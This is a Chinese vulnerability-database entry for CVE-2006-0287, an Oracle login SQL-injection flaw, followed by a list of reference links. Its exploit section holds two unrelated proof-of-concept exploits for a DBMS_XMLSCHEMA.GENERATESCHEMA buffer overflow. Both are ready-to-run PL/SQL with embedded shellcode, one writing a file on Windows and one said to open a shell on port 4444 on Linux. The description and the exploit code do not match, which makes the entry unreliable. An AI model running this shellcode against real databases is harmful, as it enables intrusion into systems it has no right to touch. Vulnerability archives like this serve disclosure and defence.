Oracle DBMS绕过登录访问控制漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109681 漏洞类型
发布时间 2006-01-26 更新时间 2006-01-26
CVE编号 CVE-2006-0287 CNNVD-ID CNNVD-200601-218
漏洞平台 Windows CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/1455
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200601-218
|漏洞详情
OracleDatabase是一款大型商业数据库系统。OracleDatabase的登录过程实现存在漏洞,远程攻击者可能在登录过程中对服务器进行SQL注入攻击。在登录过程中,协议认证部分由两个步骤组成,包含有两个不同的客户端请求和两个服务器响应。第一个请求(消息代码0x76)仅包含有用户名,而第二个请求(消息代码0x73)包含有用户名和乱码的口令。第二个请求还包含有"名称-值"对列表,描述客户端的各种属性,其中AUTH_ALTER_SESSION值用于创建区域和语言相关的会话属性。这个值中可能包含有任意SQL语句。此外,该命令是以Oracle访问控制机制之外的SYS用户环境执行的,因此通过将AUTH_ALTER_SESSION值设置为任意SQL语句攻击者就可以在数据库中执行任意命令。具体来说,攻击者可以创建新的数据库帐号并为帐号创建DBA权限。
|漏洞EXP
/*
   Argeniss - Information Security
   http://www.argeniss.com
   info>at<argeniss>dot<com

   Advisory: http://www.argeniss.com/research/ARGENISS-ADV-010601.txt

   Proof of concept exploit code Oracle Database Buffer overflow vulnerability in public procedure DBMS_XMLSCHEMA.GENERATESCHEMA
   http://www.argeniss.com/research.html

   By Esteban Martinez Fayo (esteban>at<argeniss>dot<com)

   Oracle version: 10g Release 1
   Platform: Windows

   Shellcode creates file c:\Unbreakable.txt and writes "ARE YOU SURE?"
*/



SELECT XDB.DBMS_XMLSCHEMA.GENERATESCHEMA ('a', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDE' || chr(212)||chr(100)||chr(201)||chr(01)||chr(141)||chr(68)||chr(36)||chr(18)||chr(80)||chr(255)||chr(21)||chr(192)||chr(146)||chr(49)||chr(02)||chr(255)||chr(21)||chr(156)||chr(217)||chr(49)||chr(2)||chr(32)||'echo ARE YOU SURE? >c:\Unbreakable.txt') FROM DUAL;








/*
   Argeniss - Information Security
   http://www.argeniss.com
   info>at<argeniss>dot<com

   Advisory: http://www.argeniss.com/research/ARGENISS-ADV-010601.txt

   Proof of concept exploit code Oracle Database Buffer overflow vulnerability in public procedure DBMS_XMLSCHEMA.GENERATESCHEMA
   http://www.argeniss.com/research.html

   By Ariel Matias Sanchez (dymitri>at<argeniss>dot<com)

   Oracle version: 10g Release 1
   Platform: Linux

   Shellcode opens a shell on port 4444 from www.metasploit.com.
*/


DECLARE a SYS.XMLTYPE; -- return value
AAA VARCHAR2(32767);
AA VARCHAR2(32767);
BBB VARCHAR2(32767);
JMP VARCHAR2(32767);
RET VARCHAR2(32767);
RETT VARCHAR2(32767);
SHELLCODE VARCHAR2(32767);
BEGIN
AAA:='A';
AAA:=AAA || AAA; 
AAA:=AAA || AAA; 
AAA:=AAA || AAA; 
AAA:=AAA || AAA; 
AAA:=AAA || AAA;
AAA:=AAA || AAA;
JMP := 'BB' ||chr(235) || chr(09);
RETT:= chr(138) || chr(153) || chr(255) ||chr(191); 
RET:= chr(219) || chr(176) || chr(10) ||chr(08); 
SHELLCODE :=chr(41)||chr(201)||chr(219)||chr(201)||chr(177)||chr(22)||chr(184)||chr(37)
||chr(84)||chr(39)||chr(117)||chr(217)||chr(116)||chr(36)||chr(244)||chr(95)
||chr(131)||chr(199)||chr(4)||chr(49)||chr(71)||chr(17)||chr(3)||chr(98)
||chr(69)||chr(197)||chr(128)||chr(93)||chr(190)||chr(90)||chr(40)||chr(206)
||chr(42)||chr(95)||chr(196)||chr(150)||chr(242)||chr(198)||chr(145)||chr(183)
||chr(206)||chr(121)||chr(55)||chr(116)||chr(131)||chr(31)||chr(80)||chr(107)
||chr(127)||chr(134)||chr(243)||chr(2)||chr(158)||chr(44)||chr(146)||chr(76)
||chr(49)||chr(224)||chr(12)||chr(229)||chr(80)||chr(207)||chr(49)||chr(69)
||chr(244)||chr(1)||chr(210)||chr(104)||chr(121)||chr(243)||chr(71)||chr(36)
||chr(57)||chr(125)||chr(134)||chr(120)||chr(219)||chr(176)||chr(201)||chr(235)
||chr(78)||chr(73)||chr(147)||chr(187)||chr(176)||chr(128)||chr(163)||chr(242)
||chr(183)||chr(227)||chr(20)||chr(15)||chr(26)||chr(124)||chr(122)||chr(32)
||chr(233)||chr(20)||chr(236)||chr(17)||chr(111)||chr(140)||chr(130)||chr(228)
||chr(140)||chr(28)||chr(8)||chr(127)||chr(179)||chr(108)||chr(46);
BBB:= JMP || RET ||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'||SHELLCODE||'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB';
AA := AAA || BBB;
a := XDB.DBMS_XMLSCHEMA_INT.GENERATESCHEMA (SCHEMANAME => AA, TYPENAME => 'longstring', ELEMENTNAME => '', RECURSE => FALSE, ANNOTATE => FALSE, EMBEDCOLL => FALSE);
END;

// milw0rm.com [2006-01-26]
|参考资料

来源:US-CERT
名称:VU#545804
链接:http://www.kb.cert.org/vuls/id/545804
来源:www.oracle.com
链接:http://www.oracle.com/technology/deploy/security/pdf/cpujan2006.html
来源:XF
名称:oracle-january2006-update(24321)
链接:http://xforce.iss.net/xforce/xfdb/24321
来源:BID
名称:16287
链接:http://www.securityfocus.com/bid/16287
来源:VUPEN
名称:ADV-2006-0323
链接:http://www.frsirt.com/english/advisories/2006/0323
来源:VUPEN
名称:ADV-2006-0243
链接:http://www.frsirt.com/english/advisories/2006/0243
来源:SECTRACK
名称:1015499
链接:http://securitytracker.com/id?1015499
来源:SECUNIA
名称:18608
链接:http://secunia.com/advisories/18608
来源:SECUNIA
名称:18493
链接:http://secunia.com/advisories/18493